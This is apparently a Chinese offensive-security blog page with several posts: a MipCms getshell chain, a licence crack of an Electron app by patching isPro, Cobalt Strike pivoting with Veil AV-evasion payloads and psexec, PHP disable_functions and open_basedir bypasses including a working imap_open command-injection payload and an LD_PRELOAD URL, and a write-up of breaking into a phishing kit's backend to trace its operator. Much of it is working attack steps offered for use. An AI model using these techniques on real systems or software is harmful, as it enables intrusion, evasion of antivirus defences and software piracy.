Cond0r 发布的文章

MipCms后台getshell

先看前台一个模版包含,通过id从数据库中查询出template
/app/article/controller/Article.php

$id = input('param.id');
if ($id) {
            $categoryInfo = model($this->itemCategoryModelNameSpace)->getCategoryInfo($id);
            if (!$categoryInfo) {
                $this->error('分类不存在','');
            }
            $currentCid = $categoryInfo['id'];
        }
        
...
  
        $templateName = $categoryInfo['template'] ? $categoryInfo['template'] : $this->itemType;
        $templateName = str_replace('.html', '', $templateName);
        
        return $this->mipView($this->itemType. '/' .$templateName);

在看修改template部分代码
/app/article/controller/ApiAdminArticleCategory.php

  public function categoryAdd()
    {
        $data = $this->request->post();
        if (!$data['name']) {
            return jsonError('请输入名称');
        }
        if (!$data['url_name']) {
          return jsonError('请输入URL别名');
        }
        $itemCategoryInfo = db($this->itemCategory)->where('name',$data['name'])->find();
        if ($itemCategoryInfo) {
            return jsonError('添加项已存在');
        }
        $itemInfo = db($this->itemCategory)->where('url_name',$data['url_name'])->find();
        if ($itemInfo) {
            return jsonError('别名已存在,请重新输入');
        }
        $res = model($this->itemCategoryModelNameSpace)->categoryAdd($data);
        if ($res) {
            return jsonSuccess('操作成功');
        } else {
            return jsonError('操作失败');
        }
    }

通过上述代码可以发现直接把post数据给caltegory去添加了,那么就可以操作任意的列,正常添加的post数据如下

{
  "id": 1,
  "pid": 0,
  "name": "test",
  "url_name": "test",
  "seo_title": "",
  "template": "xxx",
  "detail_template": "articleDetail.html",
  "category_url": "/article/<url_name>/",
  "category_page_url": "<category_url>index_<page>.html",
  "detail_url": "/article/<id>.html",
  "description": "",
  "keywords": "",
  "is_page": "0",
  "content": ""
}

其中template就是我们可以控制的字符,就可以达到修改template包含任意html文件的目的,那么我们还需要一个写入任意html的点。

/addons/collectHuochetou/controller/ApiUserCollectHuochetou.php
这里就可以看前台一个采集插件,

public function articleAdd(Request $request) {
...
try {
                        $htmlInfo = db('Addons')->where('name','html')->find(); //需要开启了html插件
                        if ($htmlInfo) {
                            $url = config('domainStatic').'/index.php?s='; 
                            //获取数据库中的domain并访问指定页面然后写入根目录的index.html
                            $html = getData($url);
                            $path = MIP_ROOT . 'index.html';
                            file_put_contents($path, $html);
                            
                    } catch (\Exception $e) {}
                    //插件-文章静态化结束
                    //以下为发布成功标识
                    return jsonSuccess('发布成功',$result);

}

但是在这个程序中后台并没有一个插件叫html。。陷入了僵局。。后来发现后台可以添加远程数据库作为新的站点,(无后台代码,只有前台代码)

即通过绑定了一个远程的前台数据库,然后修改addons,增加一个html插件

那么需要控制domain指向我们的webshell,好让他生成我们可以控制的页面的html,已经有数据库权限了,只需要修改setting表中的articleDomain即可实现。

然后在修改template实现本地包含

记一次electron程序破解

electron会把写好的程序打包成asar,需要对asar进行解包

npm -g instal asar
asar extract app.asar app/

解包之后目录如下

➜  x ls -lahrt
total 24
-rw-r--r--   1 x  staff   335B  7 31 19:16 package.json
drwxr-xr-x  34 x  staff   1.1K  7 31 19:16 node_modules
drwxr-xr-x   6 x  staff   192B  7 31 19:25 .
[email protected]  1 x  staff   6.0K  7 31 19:25 .DS_Store
drwxr-xr-x   4 x  staff   128B  7 31 19:25 dist
drwx------+ 10 x  staff   320B  7 31 19:34 ..

源码在dist/electron中

➜  electron ls -lahrt
total 26448
-rw-r--r--   1 x  staff   5.0K  7 31 19:16 0.js
-rw-r--r--   1 x  staff   4.4K  7 31 19:16 10.js
-rw-r--r--   1 x  staff   2.0K  7 31 19:16 11.js
-rw-r--r--   1 x  staff   2.9K  7 31 19:16 12.js
-rw-r--r--   1 x  staff   2.6K  7 31 19:16 13.js
-rw-r--r--   1 x  staff   6.0K  7 31 19:16 14.js
-rw-r--r--   1 x  staff   4.4K  7 31 19:16 15.js
-rw-r--r--   1 x  staff   1.1K  7 31 19:16 16.js
-rw-r--r--   1 x  staff   2.9K  7 31 19:16 17.js
-rw-r--r--   1 x  staff   3.8K  7 31 19:16 18.js
-rw-r--r--   1 x  staff   2.1K  7 31 19:16 19.js
-rw-r--r--   1 x  staff   5.8K  7 31 19:16 2.js
-rw-r--r--   1 x  staff   3.3K  7 31 19:16 20.js
-rw-r--r--   1 x  staff   4.8K  7 31 19:16 21.js
-rw-r--r--   1 x  staff    14K  7 31 19:16 22.js
-rw-r--r--   1 x  staff   2.4K  7 31 19:16 23.js
-rw-r--r--   1 x  staff   8.1K  7 31 19:16 24.js
-rw-r--r--   1 x  staff    17K  7 31 19:16 25.js
-rw-r--r--   1 x  staff   7.8K  7 31 19:16 26.js
-rw-r--r--   1 x  staff   7.7K  7 31 19:16 27.js
-rw-r--r--   1 x  staff    17K  7 31 19:16 28.js
-rw-r--r--   1 x  staff   3.2K  7 31 19:16 29.js
-rw-r--r--   1 x  staff   3.9K  7 31 19:16 3.js
-rw-r--r--   1 x  staff   4.7K  7 31 19:16 30.js
-rw-r--r--   1 x  staff   3.2K  7 31 19:16 31.js
-rw-r--r--   1 x  staff   2.8K  7 31 19:16 32.js
-rw-r--r--   1 x  staff   8.3K  7 31 19:16 33.js
-rw-r--r--   1 x  staff   3.5K  7 31 19:16 34.js
-rw-r--r--   1 x  staff    12K  7 31 19:16 35.js
-rw-r--r--   1 x  staff   7.9K  7 31 19:16 36.js
-rw-r--r--   1 x  staff   3.8K  7 31 19:16 37.js
-rw-r--r--   1 x  staff   1.8K  7 31 19:16 38.js
-rw-r--r--   1 x  staff   1.7K  7 31 19:16 39.js
-rw-r--r--   1 x  staff   851B  7 31 19:16 4.js
-rw-r--r--   1 x  staff   6.3K  7 31 19:16 40.js
-rw-r--r--   1 x  staff   2.9K  7 31 19:16 41.js
-rw-r--r--   1 x  staff    18K  7 31 19:16 42.js
-rw-r--r--   1 x  staff    18K  7 31 19:16 43.js
-rw-r--r--   1 x  staff   6.7K  7 31 19:16 44.js
-rw-r--r--   1 x  staff   4.0K  7 31 19:16 45.js
-rw-r--r--   1 x  staff   4.9K  7 31 19:16 46.js
-rw-r--r--   1 x  staff   5.6K  7 31 19:16 47.js
-rw-r--r--   1 x  staff   1.7K  7 31 19:16 48.js
-rw-r--r--   1 x  staff   3.5K  7 31 19:16 49.js
-rw-r--r--   1 x  staff   1.8K  7 31 19:16 5.js
-rw-r--r--   1 x  staff    23K  7 31 19:16 50.js
-rw-r--r--   1 x  staff    20K  7 31 19:16 51.js
-rw-r--r--   1 x  staff    27K  7 31 19:16 52.js
-rw-r--r--   1 x  staff    14K  7 31 19:16 53.js
-rw-r--r--   1 x  staff   427K  7 31 19:16 54.js
-rw-r--r--   1 x  staff   9.1K  7 31 19:16 6.js
-rw-r--r--   1 x  staff   3.5K  7 31 19:16 7.js
-rw-r--r--   1 x  staff   4.4K  7 31 19:16 8.js
-rw-r--r--   1 x  staff   1.4K  7 31 19:16 9.js
-rw-r--r--   1 x  staff   632K  7 31 19:16 css.worker.js
-rw-r--r--   1 x  staff   105K  7 31 19:16 editor.worker.js
-rw-r--r--   1 x  staff   254K  7 31 19:16 html.worker.js
-rw-r--r--   1 x  staff   168B  7 31 19:16 index.html
-rw-r--r--   1 x  staff   194K  7 31 19:16 json.worker.js
-rw-r--r--   1 x  staff    52K  7 31 19:16 main.js
-rw-r--r--   1 x  staff   3.8M  7 31 19:16 typescript.worker.js
drwxr-xr-x   4 x  staff   128B  7 31 19:16 imgs
drwxr-xr-x  66 x  staff   2.1K  7 31 19:16 .
drwxr-xr-x   5 x  staff   160B  7 31 19:16 fonts
drwxr-xr-x   4 x  staff   128B  7 31 19:25 ..
-rw-r--r--   1 x  staff   6.3M  7 31 19:30 renderer.js

根据提示搜索字符串发现核心文件是renderer.js
代码是压缩过的,拖到chrome里面进行格式化

分析源码发现通过ispro函数进行判定有没有激活,直接修改代码return 1即可

        get isPro() {
            return 1
            //return !!this.info && (!(this.info.type === l.monthly && this.currentTime > this.info.expiredAt) && h.proLicenses.includes(this.info.type))
        }

最后重新打包

asar pack app/ app.asar

然后替换原来的app.asar即可。

不使用smb beacon 内网中继主机上线

1 已控一台能链接teamserver的主机,假设IP为172.16.1.1
2 该主机能链接的机器无权限链接teamserver,假设IP为172.20.1.1
3 该主机不能走smb beacon,或者smb不稳定

添加一个新的listenters

然后在172.16.1.1中执行

rportfwd 12345 teamserver_ip 12345

Xnip2019-07-17_14-28-06.png

然后再make_token

Xnip2019-07-17_14-29-40.png

然后就可以通过生成veil的payload去免杀,然后把通过smb复制到远程主机
在通过psexec把payload跑起来即可

最后该机器上线后的外网ip会显示teamserver的ip,而不是172.16.1.1

Xnip2019-07-17_14-26-08.png
Xnip2019-07-17_14-24-25.png
也不会出现在之前的拓扑图中

常用绕过 Disable_Function和open_basedir的方法

简介

思路很老,遇到一个站,shell上去但是basedir导致不能跨目录,正好就写一下吧
其实绕过basedir就俩个思路

  1. 通过执行命令去绕过
    因为open_basedir只是针对php的一些函数,让这些函数不能超出basedir设置的路径范围,但是在执行的命令并不受限制。
  2. 绕过basedir沙盒
    这个就比较复杂,需要使用到一些php的漏洞,比如我曾经在乌云上发过一些不受basedir限制的函数,比如stats啥的,因为basedir只是针对php函数的,如果在php内核里面对函数定义的时候并没有判断basedir就导致了bypass,这是常用也是最好用的就是php的glob://内置协议,通过glob可以遍历目录,在配合DirectoryIterator类读取,可以达到绕过basedir列目录的效果,但是对于读文件目前为止并没有一个好的方法。

测试

pcntl

环境
disable_functions

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,

proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,

readlink,symlink,popepassthru,stream_socket_server

open_basedir

/opt/wwwroot/webroot/webroot/:/tmp/:/proc/:/opt/wwwroot/webroot2/

开启了

enable-pcntl

因为有basedir控制了目录,所以直接用pcntl_exec去执行webshell并不可行,因为如果你去调用/bin/sh因为basedir原因导致不可执行,我们只需要上传一个同版本(64|32)的sh上去并给予执行权限即可

关于open_basedir的bypass其实有很多更详细的文章就不一一赘述了,提供一个fd写的脚本,14年的时候我也用这个方法绕了saeapp的php沙盒,把架设在上面的乌云打了

imap

usage

<?php
# CRLF (c)
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

LD_PRELOAD

usage

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

相关资料

pcntl_exec_webshell
bypass_open_basedir
SAE沙盒绕过&路过Wooyun高校版
PHP某鸡肋open_basedir绕过
PHP某鸡肋open_basedir绕过2

【后续】办完信用卡竟然被诈骗了数万元?揪出幕后黑手!

根据成都无糖信息(专注反诈多年)爆料,该网站是一套名为黑科技钓鱼王的程序,并提供给了笔者该网站的程序和受害者的数据。

*成都无糖信息技术有限公司(以下简称无糖信息),致力于反网络犯罪领域的安全技术研究及产品研发,为公安、网信、运营商、银行、通管互联网电商等机构与组织提供 高效专业的网络犯罪情报分析服务和解决方案。无糖信息是以国内领先的安全团队PKAV为核心的自主创新型企业,主要成员均为国内知名白帽子,WEB安全、漏洞挖掘、网络攻防 等研究领域具备国内顶尖技术实力和丰富的实战经验。
官网:https://www.nosugartech.com/*
-w230
-w225

这套程序是一套易语言编写的钓鱼程序,包括前台和收信后台,并且该程序不同于传统的钓鱼程序,后台也是一套易语言写的一套客户端用来收信。
这个程序作者也挺有意思,号称绝对安全,并且不偷料(钓鱼所得的受害者资料)
-w1194
-w1169

而且存在合作模式,夜间0点到早晨9点这个时间段所得的资料是属于作者的,作者免费发布程序的同时或者一定的资料作为使用程序的费用,这是共享经济吗?

通过简单分析发现了几个漏洞,可以读取到客户端收信的账户密码,从而获得登陆日志和受害者等信息,
-w1064

成功登陆,并拿到了登陆记录和受害人信息
-w1104
骗子也很狡猾,经常删除数据,目前为止只有当天的这么一点数据,他们甚至还哄骗受害者下载木马,从而控制他们的手机做短信拦截
我们只能发个信息提醒一下受害者吧

从现有的数据分析得知,看数据编号为54,虽然也有一些是我提交测试的信息,但是理论上也就是有数十人被骗去了个人银行卡/信用卡的资料,金额得数十上百万了。
再通过主机名和登陆时间猜测,可能他并不是实时在线上,而且看主机名比较像网吧的机器

通过网站上所留的网站统计得知如下数据,每天有数百人访问该网页,看来其群发的数据还是相当多的
-w1226
-w1235

可以得知他是在2月22号才开始运营
-w308

受害者分布在全国69个省市,其中靠前的城市如下
-w1199
-w1228

后来在软件中发现一个屏蔽电脑访问的记录,其中记录了22号开站到目前为止屏蔽了27381条访问记录,理论上一般自己把站建好都会自己尝试访问一下,在拉了前几页的记录发现 这个ip 223.XXX.13.120很可疑,时间跨度3个小时,从5点到7点40,如果只是一个受害者,不可能访问了2个多小时,在加上建站开始,第一个访问ip就是该ip

ip所在地:中国-湖南-衡阳-耒阳市

通过拉取他22号当天的网站统计数据,在通过拦截日志对比,在建站开始后的时候有一个访问记录,然后他使用了网站测速功能,所以有了72+20这条访问记录,基本可以确定 这个湖南的ip(223.xxx.13.120)就是他本人!
-w1207

再去ip位置附近查找,根据直接的主机名都是LS115,LS121,
很有可能前面的LS就是网吧缩写,百度地图定位过去搜了一下 发现一个名为 【乐上网咖】 很可疑,
-w801

如果是这个网吧,那么只要看2019年2月22号下午3点39分 121号机,2019年2月23号下午4点27 115号机是谁上的就能确定了

结语:有ip之后剩下的事情就可以交给警察叔叔了。